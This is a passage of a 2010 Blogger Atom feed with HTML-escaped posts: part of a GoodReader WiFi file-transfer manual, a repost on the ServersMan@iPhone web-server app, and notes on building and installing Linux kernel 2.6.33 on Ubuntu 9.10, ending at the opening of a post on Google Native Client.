width="20px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="sccz"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step5_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="wpls"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;For security reasons and to save your battery power transfer is allowed only when you&amp;#39;re on the WiFi-transfer page. You can open this page with this button on the main screen of GoodReader:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/main-toolbar-wifi-button.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;This button brings up the WiFi-transfer page:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/wifi-transfer-page.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;The important things here are:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;antenna logo at the top, it should indicate a strong WiFi signal (if you don&amp;#39;t see this logo, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;WiFi status: ON (if it&amp;#39;s OFF, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;IP-address (if you don&amp;#39;t see it, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Note the IP-address, you will use it to initiate a connection from your computer.&lt;br&gt;&amp;nbsp;&lt;br&gt;IMPORTANT: IP-addresses change from time to time, even if nothing else changes in your setup. So please don&amp;#39;t assume that the IP-address is the same as it was during your last transfer session, check this address every time when connecting.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 6. Choose the transfer method and do the actual transfer.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="20px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="r..l"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step6_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="in5c" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;table border="1px" cellpadding="7px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr valign="top"&gt;&lt;td align="center" style="background-color:#dddddd" width="50%"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&amp;quot;Easy&amp;quot; transfer&lt;br&gt;(just a couple of files to transfer)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center" style="background-color:#dddddd"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&amp;quot;Professional&amp;quot; transfer&lt;br&gt;(many files and folders to transfer)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="top"&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-web.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;transfer using web browsers (any operating system)&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Transfer by connecting your iPhone/iPod to your computer as a network folder:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-vista.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Windows Vista / Windows 7&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-xp.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Windows XP&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-mac.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Mac OS X&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-linux.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Linux&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 7. After all the transfer is completely done, close WiFi-transfer page.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;font size="5"&gt;&lt;br&gt;&lt;/font&gt;&lt;table border="1px" cellpadding="15px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&lt;b&gt;Step 6&lt;/b&gt;&lt;br&gt;&amp;quot;Professional&amp;quot; transfer - connecting your iPhone as a network folder&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;This technique connects your iPhone to your desktop computer as a network folder. It creates a network folder shortcut, which you can use later to connect.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;h2&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="4"&gt;Connecting your iPhone to Windows Vista or Windows 7:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;on Windows Vista or Windows 7 computer open the&amp;nbsp;&lt;b&gt;Start&lt;/b&gt;&amp;nbsp;menu and select&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-1.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;find the toolbar at the top of&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;&amp;nbsp;window and click&amp;nbsp;&lt;b&gt;Map network drive&lt;/b&gt;:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-2.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the dialog window will open. Do&amp;nbsp;&lt;b&gt;NOT&lt;/b&gt;&amp;nbsp;enter anything in that dialog. Instead, click the&amp;nbsp;&lt;b&gt;Connect to a Web site that you can use to store your documents and pictures&lt;/b&gt;&amp;nbsp;link there:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-3.jpg"&gt;&lt;br&gt;&lt;br&gt;The&amp;nbsp;&lt;b&gt;Add Network Location&lt;/b&gt;&amp;nbsp;wizard will start. The whole point of this wizard is to create a network shortcut (network location) that you can use later to connect to GoodReader and to transfer files. Skip the introduction page:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-4.jpg"&gt;&lt;br&gt;&lt;br&gt;Select the&amp;nbsp;&lt;b&gt;Choose a custom network location&lt;/b&gt;&amp;nbsp;item in the list:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-5.jpg"&gt;&lt;br&gt;&lt;br&gt;Enter your iPhone&amp;#39;s IP-address taken from&amp;nbsp;&lt;b&gt;Step 5&lt;/b&gt;&amp;nbsp;of&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/gr-man-tr-wifi.html" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;WiFi File Transfer manual&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;. Enter it exactly as you see it on GoodReader&amp;#39;s WiFi-transfer page, with&amp;nbsp;&lt;/font&gt;&lt;span class="IPaddr" style="font-style:normal"&gt;&lt;font face="monospace"&gt;&lt;font color="#000000"&gt;&lt;font size="3"&gt;http://&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font size="3"&gt;&amp;nbsp;and&amp;nbsp;&lt;/font&gt;&lt;span class="IPaddr" style="font-style:normal"&gt;&lt;font face="monospace"&gt;&lt;font color="#000000"&gt;&lt;font size="3"&gt;:8080&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font size="3"&gt;&amp;nbsp;parts:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-6.jpg"&gt;&lt;br&gt;&lt;br&gt;Keep the default name for the network location (network shortcut) suggested by the wizard:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-7.jpg"&gt;&lt;br&gt;&lt;br&gt;Finish the wizard:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-8.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;when the wizard will close, the network folder will open:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-9.jpg"&gt;&lt;br&gt;&lt;br&gt;This is the folder with all files that are stored inside GoodReader on your iPhone/iPod. Use this folder the same way you use a normal Windows folder - drag-and-drop files there, copy, move, rename, delete, create subfolders, etc.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;only when you&amp;#39;re completely done with file transfer, close GoodReader&amp;#39;s WiFi-transfer page&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the&amp;nbsp;&lt;b&gt;Map Network Drive&lt;/b&gt;&amp;nbsp;wizard dialog will stay on the screen at that moment - just close it, don&amp;#39;t enter anything there:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-10.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the network shortcut (network location) you&amp;#39;ve created will be located in the&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;&amp;nbsp;window:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-11.jpg"&gt;&lt;br&gt;&lt;br&gt;Use it every time you need to connect to GoodReader. But if the IP-address of your iPhone changes, you have to create a new shortcut (new network location) for a new IP-address using the same procedure.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;please do&amp;nbsp;&lt;b&gt;NOT&lt;/b&gt;&amp;nbsp;assume that the IP-address is the same as it was when you were connecting the last time - IP-addresses change periodically, check it every time when connecting&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-799305359268774151?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/799305359268774151/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=799305359268774151' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/799305359268774151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/799305359268774151'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/04/goodreader-user-manual.html' title='GoodReader User Manual'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-8179113858002187263</id><published>2010-04-01T02:35:00.001-07:00</published><updated>2010-04-01T02:35:58.985-07:00</updated><title type='text'>The iPhone Becomes a Web Server</title><content type='html'>&lt;h1 class="titlelink" style="color:#000000;margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;b&gt;&lt;font size="5"&gt;The iPhone Becomes a Web Server&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/h1&gt;&lt;div class="asset-body" style="margin-left:0px;margin-right:0px"&gt;&lt;p style="margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font size="3"&gt;&lt;img src="http://www.readwriteweb.com/images/iphone.png" style="border-color:initial;border-style:initial;border-width:initial;float:left;margin-left:0px;margin-right:0px"&gt;When those Apple advertisements tout &amp;quot;there&amp;#39;s an app for just about anything,&amp;quot; they aren&amp;#39;t kidding. The latest example?&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;A new iPhone application which just debuted in Japan&amp;#39;s App Store transforms the handheld into a full-blown web server. Called &amp;quot;ServersMan@iPhone&amp;quot;, the application allows your iPhone to appear just like any other web server on the internet.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="asset-more" id="uw7g" style="margin-left:0px;margin-right:0px"&gt;&lt;p style="margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font size="3"&gt;The new application was developed by a Japanese operation called&amp;nbsp;&lt;a href="http://www.freebit.com/" style="color:#cc0000;margin-left:0px;margin-right:0px;text-decoration:none"&gt;FreeBit&lt;/a&gt;, a Tokyo-based venture company known for providing its network platform to many VNO/ISPs (virtual network operator/Internet service providers).&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font size="3"&gt;Once the app is installed, PCs on the internet can access the iPhone to upload or download files through a browser or they can use the webDAV protocol. If the PC and the iPhone are on the same network, the PC can connect directly. If they are on separate networks, then FreeBit&amp;#39;s VPN software will engage the connection.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;img alt="serversman.png" class="mt-image-center" height="400" src="http://www.readwriteweb.com/images/serversman.png" style="border-color:initial;border-style:initial;border-width:initial;margin-left:auto;margin-right:auto;text-align:center" width="266"&gt;&lt;p style="margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font size="3"&gt;The name &amp;quot;ServersMan&amp;quot; is&amp;nbsp;&lt;a href="http://asiajin.com/blog/2009/02/06/isp-platform-provider-releases-iphone-app-to-server-ize-your-iphone/" style="color:#cc0000;margin-left:0px;margin-right:0px;text-decoration:none"&gt;said to be&lt;/a&gt;&amp;nbsp;inspired by Sony&amp;#39;s &amp;quot;WalkMan,&amp;quot; and its no coincidence that FreeBit has invited Sony&amp;#39;s former CEO&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Nobuyuki_Idei" style="color:#cc0000;margin-left:0px;margin-right:0px;text-decoration:none"&gt;Nobuyuki Idei&lt;/a&gt;&amp;nbsp;to be a business advisor for the company.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-left:0px;margin-right:0px;text-align:left"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font size="3"&gt;At the moment, the ServersMan@iPhone is only available in the Japanese App Store, but an English version is coming in March. A port for Windows Mobile devices is also under development.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-8179113858002187263?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/8179113858002187263/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=8179113858002187263' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8179113858002187263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8179113858002187263'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/04/iphone-becomes-web-server.html' title='The iPhone Becomes a Web Server'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-8408495811843291177</id><published>2010-03-28T01:06:00.001-07:00</published><updated>2010-03-28T21:10:38.336-07:00</updated><title type='text'>upgrkernel 2.6.33  in ubuntu 9.10</title><content type='html'>&amp;nbsp;&lt;div dir="ltr" style="text-align:center"&gt;&lt;font size="5"&gt;&lt;span class="short_text" id="jnw1"&gt;&lt;font style="background-color:#ffffff"&gt;Upgrade &lt;/font&gt;&lt;/span&gt;kernel 2.6.33&amp;nbsp; in ubuntu 9.10&lt;/font&gt;&lt;br&gt;&lt;/div&gt;&lt;font size="2"&gt;&lt;br&gt;1.Get the kernel source code of 2.6.33 from kernel.org.Patch the kernel if possible .&lt;br&gt;&lt;br&gt;2.Extra the tar file,&lt;br&gt;$tar -xzvf linux-2.6.33.tar.gz&lt;br&gt;&lt;br&gt;3.$cd linux-2.6.33&lt;br&gt;$sudo apt-get install ncurses&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //a text user interface library!&lt;br&gt;$make menuconfig&lt;br&gt;{&lt;br&gt;a good way&amp;nbsp; for config the kernel !&lt;br&gt;it can easily get the hardware driver modules .&lt;br&gt;cp /boot/config-2.6.31-21-generic .config&lt;br&gt; $make old config&lt;br&gt;}&lt;br&gt;&lt;br&gt;4.compile the kernel &lt;br&gt;$make bzImage&amp;nbsp; &lt;br&gt;then&lt;br&gt;$make modules &lt;br&gt;then&lt;br&gt;$sudo make modules_install&lt;br&gt;it will copy the modules in&amp;nbsp; /lib/modules/2.6.33 .&lt;br&gt;&lt;br&gt;5.install the kernel &lt;br&gt;$sudo make install&lt;br&gt;it will run install.sh ,just copy three files into /boot directions&lt;br&gt;&lt;br&gt;config-2.6.33&lt;br&gt;System.map-2.6.33&lt;br&gt;vmlinuz-2.6.33&lt;br&gt;&lt;br&gt;6.create initrd image &lt;br&gt;$cd /boot&lt;br&gt;$sudo mkinitramfs&amp;nbsp; -o initrd.img-2.6.33 2.6.33&lt;br&gt;or &lt;br&gt;$sudo update-initramfs -c -k 2.6.33&lt;br&gt;the 2.6.33 is the kernel release number ,just keep the same as vmlinuz-*,and /lib/modules/*&lt;br&gt;for it&amp;#39;s a temporary file system ,so it contains some device drivers as the loadable modules ,&lt;br&gt;these modules must be copied by /lib/modules/2.6.33 directional .&lt;br&gt;&lt;br&gt;7.configure the grub&lt;br&gt;alex@alex-laptop:/boot$ sudo update-grub2 &lt;br&gt;Generating grub.cfg ...&lt;br&gt;Found linux image: /boot/vmlinuz-2.6.33&lt;br&gt;Found initrd image: /boot/initrd.img-2.6.33&lt;br&gt;Found linux image: /boot/vmlinuz-2.6.31-21-generic&lt;br&gt;Found initrd image: /boot/initrd.img-2.6.31-21-generic&lt;br&gt;Found linux image: /boot/vmlinuz-2.6.31-20-generic&lt;br&gt;Found initrd image: /boot/initrd.img-2.6.31-20-generic&lt;br&gt;Found linux image: /boot/vmlinuz-2.6.31-14-generic&lt;br&gt;Found initrd image: /boot/initrd.img-2.6.31-14-generic&lt;br&gt;Found memtest86+ image: /boot/memtest86+.bin&lt;br&gt;Found Windows 7 (loader) on /dev/sda1&lt;br&gt;done&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font size="3"&gt;notation:&lt;/font&gt;&lt;br&gt;&lt;a href="https://help.ubuntu.com/community/Grub2" id="a92k" title="Grub2"&gt;Grub2&lt;/a&gt;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;a href="http://en.wikipedia.org/wiki/Vmlinux" id="l.bc" title="Vmlinuz"&gt;Vmlinuz&lt;/a&gt;&amp;nbsp; &lt;br&gt;&lt;a href="http://www.faqs.org/docs/Linux-HOWTO/Kernel-HOWTO.html#kernel_files_info" id="bazj" title="Kernel_Howto"&gt;Kernel_Howto&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.faqs.org/docs/kernel_2_4/lki-1.html" id="anqt" title="Boot Process"&gt;Boot Process&lt;/a&gt;&lt;br&gt;&lt;a href="http://en.wikipedia.org/wiki/Initrd" id="oflw" title="Initrd"&gt;Initrd&lt;/a&gt;&lt;br&gt;&lt;a href="http://en.wikipedia.org/wiki/System.map" id="ejfx" title="System.map"&gt;System.map&lt;/a&gt;&lt;br&gt;&lt;a href="http://tldp.org/LDP/nag2/x-087-2-hardware.kernel.config.html" id="l_d7" title="kernel config"&gt;kernel config&lt;/a&gt;&lt;br&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-8408495811843291177?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/8408495811843291177/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=8408495811843291177' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8408495811843291177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8408495811843291177'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/03/upgrkernel-2633-in-ubuntu-910.html' title='upgrkernel 2.6.33  in ubuntu 9.10'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-8037975790497636185</id><published>2010-01-31T21:24:00.001-08:00</published><updated>2010-01-31T21:24:47.911-08:00</updated><title type='text'>Google Native Client: web deluxe, or ActiveX redux?</title><content type='html'>&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://www.geeksaresexy.net/wp-content/uploads/2008/12/windowslivewriter78ec6fc5816b-c8d7image04.png" alt="" width="325" height="58"&gt;&lt;span style="font-family: &amp;#39;Lucida Sans Unicode&amp;#39;"&gt;&lt;center&gt;&lt;/center&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Throughout the brief history of the web, we’ve seen various attempts to make the browsing 